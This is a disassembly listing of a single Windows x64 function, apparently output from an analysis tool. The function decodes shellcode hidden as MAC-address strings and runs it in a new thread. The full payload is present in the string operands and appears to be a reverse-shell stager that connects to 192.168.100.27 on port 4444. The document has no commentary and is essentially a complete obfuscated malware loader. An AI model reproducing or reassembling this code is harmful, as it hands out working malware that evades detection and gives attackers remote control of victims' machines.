Function at 0x140001070
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1e8], rax
lea rax, str.fc_48_83_e4_f0_e8
mov qword [rsp + 0x30], rax
lea rax, str.cc_00_00_00_41_51
mov qword [rsp + 0x38], rax
lea rax, str.41_50_52_48_31_d2
mov qword [rsp + 0x40], rax
lea rax, str.51_56_65_48_8b_52
mov qword [rsp + 0x48], rax
lea rax, str.60_48_8b_52_18_48
mov qword [rsp + 0x50], rax
lea rax, str.8b_52_20_4d_31_c9
mov qword [rsp + 0x58], rax
lea rax, str.48_0f_b7_4a_4a_48
mov qword [rsp + 0x60], rax
lea rax, str.8b_72_50_48_31_c0
mov qword [rsp + 0x68], rax
lea rax, str.ac_3c_61_7c_02_2c
mov qword [rsp + 0x70], rax
lea rax, str.20_41_c1_c9_0d_41
mov qword [rsp + 0x78], rax
lea rax, str.01_c1_e2_ed_52_48
mov qword [rbp - 0x80], rax
lea rax, str.8b_52_20_8b_42_3c
mov qword [rbp - 0x78], rax
lea rax, str.48_01_d0_41_51_66
mov qword [rbp - 0x70], rax
lea rax, str.81_78_18_0b_02_0f
mov qword [rbp - 0x68], rax
lea rax, str.85_72_00_00_00_8b
mov qword [rbp - 0x60], rax
lea rax, str.80_88_00_00_00_48
mov qword [rbp - 0x58], rax
lea rax, str.85_c0_74_67_48_01
mov qword [rbp - 0x50], rax
lea rax, str.d0_50_44_8b_40_20
mov qword [rbp - 0x48], rax
lea rax, str.49_01_d0_8b_48_18
mov qword [rbp - 0x40], rax
lea rax, str.e3_56_48_ff_c9_4d
mov qword [rbp - 0x38], rax
lea rax, str.31_c9_41_8b_34_88
mov qword [rbp - 0x30], rax
lea rax, str.48_01_d6_48_31_c0
mov qword [rbp - 0x28], rax
lea rax, str.41_c1_c9_0d_ac_41
mov qword [rbp - 0x20], rax
lea rax, str.01_c1_38_e0_75_f1
mov qword [rbp - 0x18], rax
lea rax, str.4c_03_4c_24_08_45
mov qword [rbp - 0x10], rax
lea rax, str.39_d1_75_d8_58_44
mov qword [rbp - 8], rax
lea rax, str.8b_40_24_49_01_d0
mov qword [rbp], rax
lea rax, str.66_41_8b_0c_48_44
mov qword [rbp + 8], rax
lea rax, str.8b_40_1c_49_01_d0
mov qword [rbp + 0x10], rax
lea rax, str.41_8b_04_88_48_01
mov qword [rbp + 0x18], rax
lea rax, str.d0_41_58_41_58_5e
mov qword [rbp + 0x20], rax
lea rax, str.59_5a_41_58_41_59
mov qword [rbp + 0x28], rax
lea rax, str.41_5a_48_83_ec_20
mov qword [rbp + 0x30], rax
lea rax, str.41_52_ff_e0_58_41
mov qword [rbp + 0x38], rax
lea rax, str.59_5a_48_8b_12_e9
mov qword [rbp + 0x40], rax
lea rax, str.4b_ff_ff_ff_5d_49
mov qword [rbp + 0x48], rax
lea rax, str.be_77_73_32_5f_33
mov qword [rbp + 0x50], rax
lea rax, str.32_00_00_41_56_49
mov qword [rbp + 0x58], rax
lea rax, str.89_e6_48_81_ec_a0
mov qword [rbp + 0x60], rax
lea rax, str.01_00_00_49_89_e5
mov qword [rbp + 0x68], rax
lea rax, str.49_bc_02_00_11_5c
mov qword [rbp + 0x70], rax
lea rax, str.c0_a8_64_1b_41_54
mov qword [rbp + 0x78], rax
lea rax, str.49_89_e4_4c_89_f1
mov qword [rbp + 0x80], rax
lea rax, str.41_ba_4c_77_26_07
mov qword [rbp + 0x88], rax
lea rax, str.ff_d5_4c_89_ea_68
mov qword [rbp + 0x90], rax
lea rax, str.01_01_00_00_59_41
mov qword [rbp + 0x98], rax
lea rax, str.ba_29_80_6b_00_ff
mov qword [rbp + 0xa0], rax
lea rax, str.d5_6a_0a_41_5e_50
mov qword [rbp + 0xa8], rax
lea rax, str.50_4d_31_c9_4d_31
mov qword [rbp + 0xb0], rax
lea rax, str.c0_48_ff_c0_48_89
mov qword [rbp + 0xb8], rax
lea rax, str.c2_48_ff_c0_48_89
mov qword [rbp + 0xc0], rax
lea rax, str.c1_41_ba_ea_0f_df
mov qword [rbp + 0xc8], rax
lea rax, str.e0_ff_d5_48_89_c7
mov qword [rbp + 0xd0], rax
lea rax, str.6a_10_41_58_4c_89
mov qword [rbp + 0xd8], rax
lea rax, str.e2_48_89_f9_41_ba
mov qword [rbp + 0xe0], rax
lea rax, str.99_a5_74_61_ff_d5
mov qword [rbp + 0xe8], rax
lea rax, str.85_c0_74_0a_49_ff
mov qword [rbp + 0xf0], rax
lea rax, str.ce_75_e5_e8_93_00
mov qword [rbp + 0xf8], rax
lea rax, str.00_00_48_83_ec_10
mov qword [rbp + 0x100], rax
lea rax, str.48_89_e2_4d_31_c9
mov qword [rbp + 0x108], rax
lea rax, str.6a_04_41_58_48_89
mov qword [rbp + 0x110], rax
lea rax, str.f9_41_ba_02_d9_c8
mov qword [rbp + 0x118], rax
lea rax, str.5f_ff_d5_83_f8_00
mov qword [rbp + 0x120], rax
lea rax, str.7e_55_48_83_c4_20
mov qword [rbp + 0x128], rax
lea rax, str.5e_89_f6_6a_40_41
mov qword [rbp + 0x130], rax
lea rax, str.59_68_00_10_00_00
mov qword [rbp + 0x138], rax
lea rax, str.41_58_48_89_f2_48
mov qword [rbp + 0x140], rax
lea rax, str.31_c9_41_ba_58_a4
mov qword [rbp + 0x148], rax
lea rax, str.53_e5_ff_d5_48_89
mov qword [rbp + 0x150], rax
lea rax, str.c3_49_89_c7_4d_31
mov qword [rbp + 0x158], rax
lea rax, str.c9_49_89_f0_48_89
mov qword [rbp + 0x160], rax
lea rax, str.da_48_89_f9_41_ba
mov qword [rbp + 0x168], rax
lea rax, str.02_d9_c8_5f_ff_d5
mov qword [rbp + 0x170], rax
lea rax, str.83_f8_00_7d_28_58
mov qword [rbp + 0x178], rax
lea rax, str.41_57_59_68_00_40
mov qword [rbp + 0x180], rax
lea rax, str.00_00_41_58_6a_00
mov qword [rbp + 0x188], rax
lea rax, str.5a_41_ba_0b_2f_0f
mov qword [rbp + 0x190], rax
lea rax, str.30_ff_d5_57_59_41
mov qword [rbp + 0x198], rax
lea rax, str.ba_75_6e_4d_61_ff
mov qword [rbp + 0x1a0], rax
lea rax, str.d5_49_ff_ce_e9_3c
mov qword [rbp + 0x1a8], rax
lea rax, str.ff_ff_ff_48_01_c3
mov qword [rbp + 0x1b0], rax
lea rax, str.48_29_c6_48_85_f6
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1b8], rax
xor r8d, r8d
lea rax, str.75_b4_41_ff_e7_58
xor edx, edx
mov qword [rbp + 0x1c0], rax
mov ecx, 0x40000
lea rax, str.6a_00_59_49_c7_c2
mov qword [rbp + 0x1c8], rax
lea rax, str.f0_b5_a2_56_ff_d5
mov qword [rbp + 0x1d0], rax
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
mov rdi, rax
xor ebx, ebx
nop word [rax + rax]
mov rsi, qword [rsp + rbx*8 + 0x30]
lea rdx, [rbp + 0x1e0]
mov rcx, rsi
mov r8, rdi
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
mov r14d, eax
test eax, eax
js 0x1400015a2
add rdi, 6
inc rbx
cmp rbx, 0x55
jl 0x140001510
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, r15
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000157d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Create_the_thread___u__n
call fcn.140001010
mov eax, 0xfffffffd
jmp 0x1400015bf
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdx, r15
lea rcx, str.alloc_mem_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
jmp 0x1400015bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, r14d
lea rcx, str.____RtlEthernetStringToAddressA_failed_in__s_result__x___u_
mov r9d, eax
mov rdx, rsi
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x1e8]
xor rcx, rsp
call fcn.140001600
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret